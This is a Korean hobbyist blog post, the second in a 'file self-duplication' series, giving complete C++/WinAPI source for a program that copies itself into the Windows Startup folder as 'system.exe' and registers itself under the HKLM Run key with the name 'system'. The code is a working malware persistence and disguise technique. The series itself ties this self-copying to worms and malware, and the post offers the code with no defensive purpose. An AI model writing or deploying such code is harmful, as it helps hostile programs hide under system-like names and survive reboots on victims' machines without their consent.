🧼C, C++/WinAPI, UX(UI)

파일 자가복제 C++ #2

Mawile 2020. 11. 23.
728x90

 

개발환경 >> DevCpp

언어 >> C++11 WINAPI 64bit

운영체제 >> Windows10

 


 

[[[   지난 글   ]]]

 

 

파일 자가복제 C++ #1

개발환경 >> DevCpp 언어 >> C++11 운영체제 >> Windows10 안녕하세요! 이번에는 C++에서 파일을 자가복제하는방법에 대해서 알려드리겠습니다. 파일자가복제는 웜,악성코드등등에서 쓰이는기능들입니

mawile.tistory.com

 


 

안녕하세요~!!!!

이번에는 레지스트리 관련 함수를 공부하고 왔어요

이걸 이용해서 저번보다 더 쉽게 만들 수 있더라고요

 

그럼 파일자가복제(SelfDuplicate) 두 번째 글 시작하겠습니다..!

 

 

 


[[[   소스코드   ]]]

#include <windows.h>

#define PSIZE 1024

int main(){
	char MF[PSIZE]={0};
	GetModuleFileName(0,MF,PSIZE);
    //현재 실행모듈의 이름가져오기
	CopyFile(MF,"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\system.exe",0);
	//API 파일복사함수
	HKEY hKey;
	RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
	//레지스트리키 열기
    RegSetValueEx(hKey,"system",0,REG_SZ,(BYTE*)MF,PSIZE);
    //레지스트리키 값설정
	RegCloseKey(hKey);
    //레지스트리키 닫기
}

 

 

실행해보고 레지스트리 시작프로그램 스케쥴러를 확인해보면?!?!?!?!?

 

 

 

 

 

와웅~~~~

그리고 라이브러리 쪽도 확인해 보면?!?!?!?

 

 

 

 

 

 

와웃~~~~~~~~~~~

 

 

그러면 오늘은 많이 피곤한 관계로 여기서 맞히겠습니다 ㅠㅠ!!

감사합니다~!!!!

728x90

'🧼C, C++ > WinAPI, UX(UI)' 카테고리의 다른 글

이미지 픽셀정보 직렬화 - C++ / GDI+  (0) 2021.04.15
png파일 출력하기 WINAPI C++  (0) 2021.04.13
WINAPI C++ #2  (0) 2020.11.07
WINAPI C++ #1  (0) 2020.11.04
무한HP 핵 만들기 Win32API  (0) 2020.10.18

댓글